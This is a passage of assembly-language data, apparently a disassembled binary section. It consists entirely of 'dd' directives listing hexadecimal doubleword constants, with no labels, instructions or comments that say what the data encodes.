dd 31C3ACEFh, 0BD537807h, 0C710760Bh, 0C4CF1Ch, 807CC9BAh
dd 61FDF87Dh, 82A17E00h, 0F2251295h, 3B6A00C3h, 5DBC1D26h
dd 9900A6F3h, 787EA852h, 0C7CCC8h, 0F6BA359Ah, 0B93B3F90h
dd 40A5A00h, 0FEE0758Ch, 388BE866h, 0EC8F432Fh, 8240E74Dh
dd 0BDACF6F5h, 8D8E5C03h, 0F8ED3950h, 0FC979C0h, 8CAB2E02h
dd 6F4DA8A0h, 1607AD64h, 379DD59Fh, 0AA2C7EE0h, 3DEFFCCAh
dd 88877DC7h, 50792A76h
dd 5C484296h, 4E8EA603h, 0C116F73Fh, 0C3204A3Eh, 0E8AA0FF9h
dd 17F9229h, 16ACA9Ah, 0F89F21D8h, 0A80728EEh, 4419B2BCh
dd 8B96C2C0h, 0E650085h, 93C1E966h, 247390BFh, 2AEC870Ah
dd 0C800E3EDh, 5564D6A3h, 0F407CC3h, 0D71A9F01h, 450F6540h
dd 0EE0041EDh, 0EFE83919h, 0A8C78Fh, 21E61AF2h, 851F289Dh
dd 0FDBD0D01h, 0CB8667B7h, 0FA7B73D0h, 0CC4F0384h, 48350394h
dd 6E0D49E8h, 806F3D3Ch, 9A73C1E0h, 98F4B0h, 3CCB823Ah
dd 369E6639h, 0A82B311Fh, 0C5D2CD80h, 168456DEh, 0EF43C6ECh
dd 0B6F84E00h, 8F12F4h, 0B39DEB2Ch, 16DED3A3h, 0D2C0CB00h
dd 250D2AF5h, 0BAF4B1h, 0F985EF7Eh, 17A55222h, 4800A373h
dd 0AC1FC694h, 36175A6h, 0BAB78262h, 92B9A07Fh, 0C1F4E0F5h
dd 9890B800h, 2AAF0ACCh, 0FE637B5Bh, 45560043h, 193A61C7h
dd 0FB98CEBBh, 0EC738B00h, 8C30C1Eh, 0BC3600BAh, 962E332Ch
dd 0F90F209Ch, 0A54358EBh, 0BCC7CF03h, 6E718640h, 3AC900D9h
dd 0B2DBCAD7h, 20006BF4h, 8C67760Ah, 0F99B62Fh, 0F70CC83Ch
dd 6BD7AE00h, 36001FEFh, 9E4F1492h, 0EEB9A7D5h, 9FE8005Dh
dd 0A2405A63h, 0BB7494EDh, 200CBA01h, 1B04862Bh, 0BFF6ECh
dd 94295CE4h, 0A223570Eh, 3814E500h, 1CE94EADh, 24BF00F1h
dd 0FCEBB6FAh, 8F0F0EF7h, 0E07B017Ch, 0E75211A1h, 59A83E5Eh
dd 0A0582B01h, 0C8E457B5h, 32002412h, 6EEF97EEh, 3B02Ch
dd 446FC67Bh, 16ACD0ADh, 8FFB681Ch, 83921E00h, 91AEDCh
dd 299FFAE3h, 906917BAh, 0D1C8F803h, 0D083FBEFh, 0A29151h
dd 208227D3h, 29E67A79h, 8FD6CB03h, 0B02FCC9Dh, 367347h
dd 0AAB5FBA3h, 42756434h, 58DEF600h, 2ECC02CEh, 0F8080090h
dd 41A6B820h, 0D40036F0h, 0BEF4527h, 7377081h, 836C3C7Bh
dd 0ECB70011h, 943E536Eh, 54300745h, 0C0FE9C0Fh, 0B7103D82h
dd 55310035h, 0C1762DCEh, 0F6001C0Ah, 687C5154h, 6C3370h
dd 0FE4D7F82h, 0EB8B05E1h, 1800E276h, 0E325FCDFh, 1661CC1Eh
dd 2E2FA9h, 8F7DBB6Dh, 47018C5Dh, 0B9D06545h, 0C1C9081Ch
dd 5342E8h, 49CBF643h, 27A20352h, 820023FCh, 1538ABD5h
dd 1B86E2h, 0D83601B1h, 0CB5463FDh, 0AFB9FE00h, 4DE6BE76h
dd 80FC0068h, 79D70365h, 44015601h, 1B4218EFh, 0FDCC2AAh
dd 0BCC3000Ah, 779A719Bh, 8B003DD6h, 95E7611Dh, 5B5EF0h
dd 6F949609h, 0B927F5D0h, 7F0149B0h, 0DCD1F391h, 5EC01E5Ah
dd 25FFA9Eh, 27774B40h, 114839E7h, 0B70F5DA4h, 0A3545592h
dd 0FB18D4FBh, 5E799119h, 663660E2h, 0FECE4h, 0E3BAFD61h
dd 63E77CA0h, 0EC0B2200h, 69F65997h, 914E130Fh, 0C01E1E07h
dd 70C6E12Bh, 3407DFD3h, 25AF2272h, 0F5C47F90h, 0A26006Dh
dd 8D15439h, 4009FBFh, 123CA2C5h, 0CE4410h, 1A0AF9B2h
dd 0C8818BA8h, 29D7B502h, 407B7EE2h, 9FECC8h, 553AA4A5h
dd 1C0177DCh, 0DAD37500h, 0B7CD7A7Eh, 5C370012h, 0AD2A27ACh
dd 3F000B80h, 0FC8D6677h, 121F20E7h, 3BDB7Dh, 506DA59Ch
dd 0B8F0D907h, 0C55E8500h, 7951488Eh, 52F7009Fh, 15DE57F3h
dd 0F01DC461h, 70CFCA6Ah, 0A3C62216h, 0FB276012h, 96B11FEAh
dd 0ECE800B8h, 0B7EE06C8h, 0CD516000h, 5BEFAF6Ah, 50DE0089h
dd 7EF286D4h, 0DB026F29h, 0E61FAE84h, 52007FF4h, 7784111h
dd 5173400h, 0C08DB5B1h, 0F9AF00A2h, 42A0DED1h, 17B8C499h
dd 69C91E00h, 1C7B9F0Bh, 6D552602h, 493900F7h, 0A2EAD163h
dd 547448h, 0B7A405A8h, 0CCC70Ch, 4E3B59EEh, 0B1B2701Dh
dd 3FE82500h, 4659A7Dh, 4D5500C8h, 9D451E8Ah, 0BE012F1Ah
dd 7C076863h, 90DFF57Dh, 0C4DE10h, 0E05D93EDh, 1D73E4Bh
dd 0E1EB1F00h, 13E67856h, 927B4Ah, 0B0585750h, 30852D83h
dd 0AAF27001h, 235F10E3h, 0A01724CCh, 72AC1ECBh, 0FD9F00C5h
dd 0B4BCDFEh, 0E000F26Dh, 722ED3DAh, 65CCD0h, 7ED787B3h
dd 0BC0A75B5h, 2A509100h, 3D67FF23h, 47DCF925h, 0A2A53934h
dd 8DC4A700h, 0DC6EE2E4h, 36EDEB00h, 0EF88A139h, 293C003Ah
dd 0E5603064h, 0BE000ABCh, 8A2DB220h, 0E03B493Fh, 72FD00B3h
dd 0E83D8F24h, 34FE0B2Eh, 0EE10A400h, 5020DA84h, 93B1006Ah
dd 0F3D21592h, 0D9F46FD7h, 1A3AC00h, 690B6466h, 0F113032Ch
dd 341E7018h, 85C83EDBh, 0BE7A42E3h, 0B514DF00h, 0DE4874FEh
dd 0D3CB0E25h, 19E123CAh, 0F82EB793h, 0A1F2DA9h, 2B4298FBh
dd 0C3510C03h, 0C879B3E8h, 0A819B75h, 0BAB43865h, 0EF1EEAh
dd 58F2E0A1h, 934CE4CBh, 0DB190007h, 65A5E8B5h, 0C14A006Eh
dd 49A017FCh, 9900116Bh, 0D3861FD5h, 74EB42h, 0B184544h
dd 34F1B939h, 0DF31F800h, 0AC3D589Dh, 17291D33h, 0BF6EC007h
dd 0A64FC030h, 20D4FA00h, 8EADDD3Bh, 77F50010h, 5ED7F902h
dd 0E203D61Ch, 0EA1B8354h, 0C7A59009h, 0DC610271h, 0C89C3598h
dd 993E8760h, 31EE7300h, 0E88A8E5Fh, 9B440020h, 0C34CEA49h
dd 37002F95h, 0F3C505A7h, 51C734h, 0FA23B177h, 7E39B67h
dd 0A003BEEh, 5DE6F68Ch, 52C6ACh, 57BD4775h, 9BAA2126h
dd 3320A400h, 0A0AE6F46h, 0A6090004h, 867F2D60h, 0F41EF07Eh
dd 0B556D518h, 3A8CA00h, 7078285h, 56CA1D17h, 982CA046h
dd 0FE00A729h, 0F632543h, 7A60EFh, 9DFB6E3Bh, 0F891E3F5h
dd 96050A00h, 0C8496D2Eh, 1DD20053h, 83F6B0E6h, 26009823h
dd 44F439Fh, 9657A7h, 0CCFC542Ah, 0FFBF6981h, 565A261Ch
dd 0AC054500h, 0AE09FEh, 0F965B8D9h, 0C9BFB9ECh, 0C32FD800h
dd 0B46E4182h, 0DCE10720h, 0C8E73Eh, 0FFA9BB9Dh, 0C1166D00h
dd 1F649801h, 3C0B002Ah, 0D62DA4DEh, 0D0BD1352h, 0BB1D008Bh
dd 0DAA35350h, 863AABC5h, 0D8C087A0h, 4D30D260h, 98A4F2h
dd 0B9010780h, 553B2F7Ch, 9C484978h, 61EC00EFh, 0B76D252Bh
dd 7C331DBFh, 0AB4EC33Fh, 0CA90DD1Eh, 77E48FBCh, 0DB05A000h
dd 50F36F2Fh, 0AD320062h, 8ED17896h, 2CE2E192h, 0B421CB00h
dd 407E2E89h, 9C0E3A84h, 0AF735880h, 0A0388FDCh, 0D689000h
dd 0B0BFC016h, 9F7100A8h, 8AD75ABDh, 0CD009D4Bh, 77E8F992h
dd 9864049Ch, 44E600A6h, 6A5936D9h, 7F008CCFh, 0F19CBE4Ah
dd 0A9519Fh, 3C8396D5h, 0EF5F0880h, 7F193D00h, 0C9033FDEh
dd 65D900F8h, 0D8F607CDh, 0CC74F492h, 0F0B3CB00h, 8F3F56DFh
dd 0E026000Fh, 77455865h, 0D5FC9D3Bh, 202CD000h, 92B170EDh
dd 0EA6E00C4h, 8536F425h, 8C125721h, 3700344Bh, 5E332A51h
dd 0F4D02698h, 86EF00C2h, 62BB15FAh, 5A43F02h, 80F00668h
dd 4B4834FDh, 2EBC01D1h, 9B6BE0BFh, 282C60BEh, 9A2C3300h
dd 0A8D31316h, 5C5500A7h, 8A12FC0Ch, 5800BC75h, 0C09A528Ch
dd 76332714h, 2DF4001Ah, 0E0EEBB84h, 0D0905994h, 711F537Ah
dd 82C0C31Bh, 73B086DFh, 0C6D11EC1h, 64B4C06Dh, 67DBD05Fh
dd 32D9DD07h, 4630BBC9h, 21E99Ah, 0EEB9AE0Dh, 0EA59A427h
dd 0B2B81300h, 0C3D45F57h, 100800E6h, 136F371h, 0A62667C5h
dd 0DD03F98Dh, 0B738CABEh, 5E1EB3C0h, 2256008Ch, 68D8F96Bh
dd 62E6A66h, 0AD00012Ch, 3763A693h, 0FE7D95h, 12CF7D4Bh
dd 170E8931h, 3468C8FFh, 0B297F50Fh, 0A0270314h, 9B3388BEh
dd 5B7900EDh, 0D80619A4h, 9603E07Ch, 77C161ABh, 2E27F06Bh
dd 87340797h, 80A70858h, 6C185EAEh, 28393501h, 0F9B1E90Bh
dd 30D0F6E1h, 0B3AC0084h, 0E27BD5CEh, 510F75A5h, 0C0A6E61Ch
dd 935C27B5h, 1336000Fh
dd 0E33264B3h, 62F81D87h, 760990A0h, 0B07B5B00h, 0C00DC944h
dd 247F0094h, 9C9B2E95h, 0E107C401h, 0B9FDE629h, 0F797B80h
dd 443400ABh, 4D25C5E9h, 0CB031742h, 98941FD0h, 0C378A233h
dd 0EA4CE007h, 0F24E001Bh, 21D582ADh, 0B5002C0Bh, 0CF45A8B4h
dd 3AE1ACF1h, 460034F8h, 959E9096h, 0BC007E65h, 0B649DF4Ch
dd 0EA15546Fh, 5B311C9Fh, 0B40D40A1h, 0CBE7EE0Ah, 0EA8A7D00h
dd 4009431Eh, 756C000Eh, 0F5B7FE1Dh, 501FDDC9h, 2780F354h
dd 0C842B8D7h, 2AD91CCBh, 407D5C3Ah, 0EB8C192Dh, 0B400A13Eh
dd 0C1ECD4F7h, 38F5409Eh, 49800A81h, 3912919Bh, 0A12CBE0Fh
dd 0C9001A64h, 0F3DBEF55h, 0C009001Ah, 0B6D85C21h, 0CE0012CAh
dd 286609Ah, 529E8Bh, 0EC9EC3Fh, 8E68C6B9h, 65C41E0Eh
dd 0ED3520DFh, 3840C2D2h, 4835723h, 9A7664Eh, 363FC188h
dd 31766D07h, 0A0CE3E1Ah, 0CA8D8297h, 2CB905F9h, 80771F93h
dd 14747835h, 5E39A200h, 0B3AF7B7h, 90DA0065h, 0AE92697Ch
dd 4500A435h, 0AA92E7Eh, 78EE6053h, 0F28400C8h, 0DCA83490h
dd 0E60005A3h, 0F15546F7h, 0EC8052B6h, 24E501A0h, 0EE01F04h
dd 6CD56079h, 69A0C01h, 4D4A59EFh, 0E281C8h, 2720AA87h
dd 5312CCACh, 2671B409h, 0FBD0803Bh, 0EE5C4566h, 50480060h
dd 0F7EE5FDh, 0B1006CA8h, 681315Ah, 493E73h, 27EA2CEEh
dd 0CF6F7D6Dh, 51FCB90Fh, 12F5A00Eh, 746907h, 0F8BA550Ch
dd 451E4479h, 466E1900h, 0DF60D613h, 0D4C400ACh, 0E76B7A03h
dd 9500DD92h, 0B1ED11BDh, 0D93F58h, 7BEA5CEh, 774433F0h
dd 4A6A5F00h, 0E954D082h, 9C743AA4h, 3C597600h, 0F12B7A05h
dd 0CE3B0600h, 235DD66Eh, 83160039h, 0A9FB93C2h, 531E625Ah
dd 4000EE84h, 0FF7D88A5h, 0B2030146h, 662B30B4h, 0C28CD8DFh
dd 498B9E03h, 0F8C57CD5h, 725D869h, 0C023FA8Ah, 8B9460A6h
dd 97008D47h, 0FF559590h, 0A21B9Eh, 2DBD9180h, 9BBA8ABCh
dd 0F94FCF00h, 0DD3041BBh, 34250071h, 39C2FF7Eh, 50007C11h
dd 0CD056646h, 713EA1h, 912D5F36h, 34FA06A6h, 56305500h
dd 0C7E36842h, 0B1EB00E4h, 43BD948Eh, 7900FA0Eh, 71F2D06Ah
dd 98A01385h, 0D6E003Eh, 801C98D9h, 0E800C7A6h, 0B406ED9Ch
dd 0EE56390Ch, 7DAC3CA3h, 80A9005Fh, 858345A0h, 133EBC12h
dd 449D9D00h, 0FCB0EC8h, 4A02D759h, 8269E4E0h, 14004EDCh
dd 0B82F642Dh, 0F00F94h, 0D3211FA1h, 9DAD6B6h, 88717700h
dd 83134CB7h, 0A47E00BBh, 0C45B0EEFh, 5503D1F5h, 33CBF844h
dd 836DE853h, 0ECA0052h, 466F61F9h, 0D900B105h, 0EC95BE54h
dd 35DE5h, 2BABC356h, 40FCBE8h, 0EF80FF1Fh, 3E15D340h
dd 0D75E08h, 83B76939h, 3197F3E3h, 3841703Fh, 113A06E5h
dd 0B87623h, 0AD0237C5h, 7DF7B9EAh, 4A0EAB00h, 2B59E89Dh
dd 0C62E0330h, 6A40F5C3h, 0A68109A8h, 7B661B00h, 87EBFF78h
dd 0BA080067h, 0B1D74F6Eh, 0B4F67FCFh, 369AB6C0h, 72F859E2h
dd 3E177D20h, 0CE03D5B6h, 34BED35Ah, 0E05798C9h, 3B00906Bh
dd 0D41973BFh, 71AD4B97h, 81420043h, 0C034C495h, 5B00899Fh
dd 7AF0A666h, 7D0D51h, 0FE9D81C3h, 581064BFh, 2A338D0Eh
dd 7BC800A3h, 0CC94ADh, 0A90DE548h, 0DBE2ED45h, 364B5604h
dd 8280A157h, 1D78232h, 90A59AF5h, 0C8EED306h, 0FE074BAEh
dd 606F8A07h, 34D71670h, 54DF0B7Ch, 3300DD1Dh, 5C0BFE09h
dd 0D407E509h, 0F4C983E1h, 0CD34B87Fh, 0B80D0BFAh, 0ED80CF96h
dd 0FE8317D2h, 85C3C13Fh, 0DE5E846Eh, 76E2BA80h, 1A8B0399h
dd 97B43D82h, 6E1CF5A8h, 0FA9C7B1Eh, 647A8641h, 0A4D08216h
dd 41E4003Dh, 9D9962DDh, 0B70E60C9h, 0A04F6D44h, 7966D4A5h
dd 8A7B00E4h, 0D924D898h, 0A90077E0h, 744EC475h, 765E937h
dd 0FDE28EA0h, 0CD2D7009h, 0CC1D1AA7h, 0B900195Bh, 3B804A66h
dd 29F051h, 2E81F50h, 860C7E36h, 57E35B04h, 3880E4E6h
dd 3F9948C4h, 0E780CA1Fh, 0B173A6DCh, 280318BAh, 6D458982h
dd 9EBC80D7h, 978B5h, 4806F3E5h, 0DEAB8478h, 0ADD74200h
dd 3D856923h, 2B660082h, 6DCC938Bh, 9512D4FEh, 8C0474DDh
dd 1B8091F1h, 5D515Ch, 9DFC93F0h, 13B95028h, 0C5C9A400h
dd 0B8E73766h, 0A08D005Dh, 0F9DBA7Ch, 0F200022Ah, 0B3CD64D0h
dd 9E646F3h, 4C50A72Fh, 5DE2F480h, 0DA000C07h, 0C0108162h
dd 0E87BFC41h, 49F4A2h, 0F1333AE9h, 0F78675E7h, 0AC00EFF8h
dd 0D2B8032h, 0D9B970h, 0D2F2C3B8h, 95790496h, 0D1A52400h
dd 4EBDC609h, 0EDAB00E0h, 0CCB96AFCh, 7800DC2Eh, 0BA5E2654h
dd 901EE2h, 0FB745B94h, 31E6F7FDh, 0E57DF200h, 5768146Eh
dd 0D4410976h, 4081FAA1h, 0F8D1F977h, 4D12D62Ch, 0A3008864h
dd 0F70BFD49h, 71E2E8h, 7C19368Ch, 0F13CA98Dh, 41C7BE00h
dd 81C8A21h, 0D0E51E82h, 0C1E801h, 99843BD9h, 0B76BC14Fh
dd 600DB200h, 0EBB9E18Eh, 1F690070h, 6D8D9CDEh, 0E4CDC01h
dd 0FCAE16D4h, 99000E1Ch, 4AA15EFDh, 0C2CD1DA3h, 0D4968076h
dd 65D837E0h, 3E437100h, 98BD8775h, 5FDFD44h, 9F74DCh
dd 0AED6C35Fh, 4A42BB4Dh, 96BD58h, 654B7D07h, 52909Ch
dd 7995A936h, 22ADE87Ch, 8021AB3Ah, 46BF02Ah, 0FCD0F54Bh
dd 976D1F33h, 3CB540F1h, 59365B4Fh, 26F49E0Eh, 280A2014h
dd 0FF66339h, 570FBE13h, 9BE049EEh, 1B275E3h, 0A600A4E2h
dd 0F2EC4CA1h, 1CBDEFB1h, 9DF0202Fh, 3F65409Fh, 0C880E215h
dd 9032875h, 123B8E24h, 3373E86Dh, 5BA5003Ch, 9FB7DCAEh
dd 0AA79CF58h, 4FDA4800h, 8206E08Ah, 0D46D00F9h, 939B59A6h
dd 19017BD3h, 0A7CFEF63h, 0FE4192EAh, 0E42089F9h, 0E74A1D20h
dd 45F301E5h, 708BF880h, 0FA03B184h, 0F1175AA6h, 5829C802h
dd 3C8300DDh, 3655EB30h, 5258F538h, 870200ACh, 0D52069A5h
dd 95650473h, 0F053227Eh, 0AAE21D29h, 294AE00h, 38F62B6Dh
dd 2A0400BEh, 2DD09EDAh, 0FD1FB049h, 0F8842250h, 9C025F1h
dd 1DC38798h, 631169h, 0E9B4B135h, 2E0013C0h, 67A2B90Ah
dd 1EBA5232h, 431710h, 0F43409D4h, 1E58508Ch, 1F941F0Eh
dd 0A310AE00h, 0F5F0C7h, 0CE5C2BD9h, 0B9C43097h, 584F81Eh
dd 609D39C0h, 0E8434Bh, 3A20152Dh, 92FDCB91h, 170C4100h
dd 0B36A086Fh, 9AB097h, 0D6405599h, 0CE3E1DEEh, 25E83Fh
dd 384C32DAh, 0E37984h, 8B685FA4h, 42A0AF12h, 9923F400h
dd 0A90CCF25h, 0E883009Ah, 1DE0C208h, 4900B743h, 5E1BB004h
dd 3028Fh, 7C2A2676h, 436E10EAh, 0FDB11A00h, 513B489h
dd 69481CC9h, 66584FEBh, 100BAB6h, 60E0021Eh, 4BB500ECh
dd 39327085h, 9A0781A3h, 86893C13h, 8E0E08E0h, 3A8B3FB5h
dd 69039E00h, 4BDD8439h, 5990E574h, 0C16AB00h, 0CAEB8CA7h
dd 0E97E00D6h, 2B921488h, 83007607h, 0AE6FF2BCh, 5A70C9h
dd 0B8724C2Ah, 0DF1AEABEh, 0E2AFBB00h, 75F43061h, 27DE17C8h
dd 0B7C50031h, 78BE96F1h, 32CB600h, 0EAF2F05Ch, 0D8853D8Eh
dd 4C7F24h, 0F797E4EDh, 251E6F18h, 3E40C602h, 35FB2CE2h
dd 0B1840051h, 0BDD11619h, 0E1007E64h, 0A9DB602h, 0B0F1907Dh
dd 0C36000F3h, 0B443BA61h, 81001796h, 0B6035E74h, 6D7FC55h
dd 12917D53h, 0AE074CBBh, 0E2ABCEF1h, 8F353070h, 0DCF5005Eh
dd 3A1C7E05h, 3F035995h, 33390A7h, 61A8E8E4h, 46A21D92h
dd 93F5007Eh, 0C0ED7240h, 73B4E800h, 0A21B5F0Eh, 5B1403F0h
dd 2447B2Bh, 9D49AEA0h
dd 0AA650B00h, 0EAF5DD50h, 0D4E0EC9h, 0C1E043BBh, 838743Ch
dd 80F9733Ch, 1DEB91ACh, 5CE7BD30h, 801FC36Ah, 0CFB81D83h
dd 0E340555Bh, 20AFDC87h, 0F7CB5C00h, 0EA1D568Eh, 263A0040h
dd 0B9766D01h, 37F04D87h, 7C20D00h, 0CFDC17Eh, 0EDEC0029h
dd 58BC093Fh, 0D307F79Ch, 6D13267Ch, 0D6EE9950h, 76BE00B7h
dd 6E88F480h, 0FA0050D5h, 0A03C8278h, 6C64F3h, 769F138Dh
dd 0CBEAAE74h, 12443400h, 0A1AF3E21h, 0CA202DDh, 4BECF97Ah
dd 6CC8B6C0h, 0EDFC5D00h, 0B3107147h, 75BD0FBCh, 0E847F8DEh
dd 52A07E3Dh, 483BB0FEh, 0FA4CA704h, 7CC1AD56h, 4AD81F2Ah
dd 91E009Eh, 3302DB75h, 5700BEAAh, 0B6230CA3h, 0FC644263h
dd 960F00EFh, 51142880h, 16002692h, 1CDC0611h, 0AD71FDh
dd 0C7B6CA3h, 0D8B66BB5h, 7CCBF15Ch, 0D53AC00h, 5B59D25Fh
dd 0E1051733h, 8D880017h, 0B2F12A5Eh, 39FE860Ch, 342D6C1h
dd 0FBA291B9h, 9EC83E33h, 0A7013C38h, 0C2515F4h, 0F9FCA52Dh
dd 0BEF21Dh, 12B85B31h, 97BB794Bh, 21B60F00h, 0B1EB3DD3h
dd 6C40001h, 80775C9Fh, 8D00ECB3h, 19F7CDB2h, 0E31AD8h
dd 6AEF21B5h, 3A813EAFh, 0AEEA31B8h, 1F517A00h, 8C34DB9h
dd 329A00A4h, 0AB99DB27h, 0FA1C6A13h, 80BE6136h, 0CA249C0Ch
dd 0A1A38Eh, 0E00EABC4h, 0CCE17998h, 92F47B00h, 0C253B269h
dd 5A6107C9h, 4139CA62h, 0FC3F637Ch, 0F9004A2Fh, 0DECE6E18h
dd 3EF8BAD4h, 0A4804B31h, 0DD5BA057h, 0AD00490Dh, 6610F597h
dd 0C83518h, 0C447C164h, 36D2C968h, 0C6A0067Ah, 22003303h
dd 0B1EAEFA7h, 26D1454Ch, 1DF17Ch, 8CC4BC27h, 0E000571Fh
dd 72B65D64h, 70F5897h, 16C1AEFAh, 5F891054h, 871E14DDh
dd 0E340BBABh, 499868A3h, 7ACE98E6h, 0CCF50097h, 7A72781Bh
dd 8E4C57DCh, 36670ED1h, 53D0A0E5h, 1F3FB223h, 8005C6FAh
dd 9FAF5245h, 0B80E7FF4h, 20F27BD9h, 0EF7CC94Eh, 72BA0004h
dd 0A686E310h, 0A2E0A92Eh, 0F600AEE8h, 259FCD60h, 0DAF5E5h
dd 22769623h, 0DF4585D8h, 1C211000h, 0AC617DE4h, 0A01A018Eh
dd 0D03A93C0h, 7B8C84Ch, 2D0FFF2Eh, 0C0CA190Fh, 3D4940DFh
dd 0D9AC1FF7h, 0FA8B002Ah, 0EF939EFBh, 0BCD34C00h, 0E243C51Fh
dd 13983Ah, 0A079D9AAh, 98F60C59h, 9048AF71h, 7C220026h
dd 0A1E0527Bh, 64510046h, 0DC4F9344h, 0C3005B92h, 85692FEEh
dd 0A1357134h, 0A0BDF6CDh, 6E9C1A8Eh, 0CAB1E4E0h, 3700CD30h
dd 94F1613Ch, 0BA9A96h, 1EAB8B36h, 95EBEDB9h, 6525DF17h
dd 542F2704h, 57C71BC0h, 0DDAE07D8h, 0B1F4FB06h, 3097B5A2h
dd 0DF01770Ah, 5B162DEAh, 51602785h, 0B16F0006h, 15B3B451h
dd 7B0099EDh, 83FAA5E0h, 1EB2FEh, 525EEF0h, 0BC227251h
dd 1FB6DC00h, 0CAF24F8Bh, 0E60E0701h, 63CDF8BFh, 2E0067E7h
dd 0CBFEA37Bh, 0EAE00752h, 0FF710061h, 0B66949DCh, 75988CE5h
dd 276EEB00h, 0B5879E06h, 7B6200D4h, 2F5128D5h, 3B0BFF08h
dd 0D8CBBBh, 9E8EFB92h, 24F983Ah, 84CC060Bh, 59E11512h
dd 0A360EEDAh, 481F0EB6h, 69805CE6h, 23B2D9C1h, 636C0150h
dd 27332864h, 8D057004h, 80B4BA3Bh, 0AF62792Bh, 3CFE0531h
dd 89807433h, 46EE2E7Fh, 4E062F16h, 0A9ECC419h, 0BEBF1C24h
dd 50D740F9h, 819CAD86h, 5835463Dh, 0A2007454h, 5CE49ACCh
dd 3230844h, 771DB0B3h, 0DED829FCh, 0E91F6275h, 1400CE57h
dd 99F78D76h, 1D3B1743h, 0C1410061h, 67D14CD5h, 7A00C5F2h
dd 8FCB1F4Bh, 5CD6EADDh, 7068A4h, 4ADEB9D2h, 0A1AC888Dh
dd 29015500h, 8C576C4Ch, 84B800F1h, 0ADE1A378h, 0D8007D6Bh
dd 5CFACB5Ah, 1DCE145Fh, 40F27CF1h, 0EB81E121h, 0C805AADBh
dd 738C5883h, 88A62C83h, 260659h, 6D4FF4C3h, 4DF7B5DBh
dd 52967205h, 6BC0A5CEh, 3795951h, 446E0BEh, 708F39ADh
dd 1C5B83AEh, 933E1F63h, 3CD4A0A0h, 0DBD61F37h, 1769039Eh
dd 1190C4EDh, 0F32D242Ah, 0E3554F5h, 0C700D3F2h, 0E38085F6h
dd 185ACB00h, 9CB97F1Eh, 9F70002Dh, 5EF17DEEh, 0D0ED2A3h
dd 40CCDF62h, 68DF479h, 12550035h, 98AD924Dh, 1A00144Eh
dd 0F47F8807h, 0FB41D8h, 69FF3C6Fh, 0EF2ED9E8h, 0C7BBB500h
dd 0A4902818h, 2C360098h, 0A624F572h, 4002A32h, 643DF926h
dd 3F3817h, 0DCB20B3Ch, 0D9D18FC7h, 43B72800h, 0BC59A15Fh
dd 0E5FA8Eh, 0D265FA72h, 63EC84BBh, 0BF1E7FFCh, 1CC35D77h
dd 0F8464E24h, 58D8299Bh, 8A0776B2h, 0AC3DAC75h, 0A00039D6h
dd 31CDEF1Bh, 1B36764h, 36C10F32h, 0D09CD7D6h, 9729A19h
dd 0DFDA630Fh, 5B8C13Ah, 85603B82h, 5BBB0023h, 0E2489941h
dd 0FF1FD5D4h, 0BC80D201h, 0D64E1895h, 97E70052h, 28EA108Bh
dd 7A00DD45h, 30018119h, 0A89637h, 6BC80812h, 4E3E82A2h
dd 80CB2D00h, 9C791655h, 86A900EBh, 0FD74A024h, 22009A6Fh
dd 0BED9E718h, 0F37F0Fh, 0D5ECD73Dh, 5156AD6Ah, 81FBE92Eh
dd 0A4F8EF00h, 0F084F2h, 6B77D461h, 88701245h, 7C1CF50Eh
dd 78FE0017h, 0FCF4DDh, 0C486DCAFh, 0BE706DE9h, 5F65EF00h
dd 1B7B29EBh, 4C610002h, 2B24A0ABh, 0B7009934h, 0C6486A7Ch
dd 2D979Ch, 0C58806B8h, 5CB4823Ah, 0AD15BA2Eh, 19EFB600h
dd 0AD028DDh, 9D39D248h, 87DB1CE9h, 166A2B25h, 0A80FA67Bh
dd 0E00DEC35h, 2F71F13Dh, 0E52601B0h, 0E4E62232h, 0C5642015h
dd 0F772C000h, 6C2F41Eh, 387908Fh, 527F4B9Ch, 42803159h
dd 4A01C1DCh, 7739EB8Bh, 0D3C850C7h, 89ED0032h, 0A182A32Ah
dd 7078C128h, 0C0A62201h, 372BF052h, 17C7CCh, 4A4496FCh
dd 1EE27498h, 3B70452Eh, 0DDC83D00h, 1E1253B9h, 3A268D65h
dd 7F2FA100h, 0D9191C14h, 0BC5E3D00h, 0F26043F1h, 3CE0008Bh
dd 998E0EBFh, 0AD903394h, 38C81800h, 679B885Fh, 7310009Ch
dd 48B6FD80h, 0E5006E28h, 7DBBA8B8h, 1C19BFD2h, 0C047CC51h
dd 3DDE0A06h, 611DFB8Ah, 1AC5DAFDh, 4181848Ch, 0DBD30BC8h
dd 9CD88A3h, 5D0C00D6h, 19895FEh, 0BF0EB6DAh, 80EEE0DDh
dd 1808DF7Dh, 4F25Ch, 0CC8BFA1Dh, 0E3244755h, 7346D701h
dd 9483C125h, 2CADECh, 0B26D5D38h, 7A3C8D8Ah, 9D764400h
dd 0CE36D55Ah, 9C7F12h, 81F51559h, 0AA7A5FE1h, 0EBA54800h
dd 8DAB1BD7h, 2D090051h, 84E49901h, 301F32C9h, 5847EFF0h
dd 0F7037ECh, 12A03A3Fh, 2A4A61h, 91733B2h, 4000D307h
dd 4E78361Fh, 73ACD470h, 9FF9004Fh, 56BEDF64h, 29001A38h
dd 5A74BB65h, 143ED543h, 0C25DDD3Fh, 424F8F1Ch, 0B37C9C3Dh
dd 0FD2BDD60h, 0E827D200h, 8A043662h, 8F0C00A5h, 542234D8h
dd 0E900FDABh, 165BF180h, 3B14EA37h, 6387F87Bh, 0E033AE28h
dd 5CD25F2Ah, 469A9100h, 0AFA67C2Ch, 0F4D00066h, 0B629ADC8h
dd 9C00418Dh, 288295E2h, 7984920Ch, 0F7F68h, 34A48A4h
dd 0D0B85805h, 6731D100h, 0E63DB278h, 454000ACh, 9373EFEDh
dd 0CF7CA15Dh, 19001FBCh, 0F561FCBAh, 972E00C3h, 320C3FCBh
dd 9301A1A3h, 8137604h, 260B172h, 9AF60F21h, 0EA60E4FDh
dd 0AE7EB412h, 0D331A500h, 7BB71E92h, 76F00180h, 9FE2273Bh
dd 0FB3D7015h, 0CECCD403h, 0B0AB8926h, 1CC61841h, 805CD7E4h
dd 0B97D17Fh, 130055D2h, 0F8A5AAC2h, 0E0DAE8Fh, 2662EE9Eh
dd 10BD0EA0h, 0D5012071h, 4AD77856h, 0B5C4149Ch, 3A9DE83Ah
dd 0B1923189h, 68A400D9h, 0AF7B113Dh, 0EAA9E01Ch, 66062E80h
dd 3CB5BBh, 56A1921Fh
dd 8DC13823h, 143AA7F0h, 0EDA3AE99h, 0F88B8703h, 0CC099860h
dd 0EFF3006Dh, 78EDE48h, 0B71D1F14h, 0FDDCAF91h, 7F469C40h
dd 0C82A49h, 0EB2F8FA6h, 45FBC19Bh, 7AB30900h, 8ACC1777h
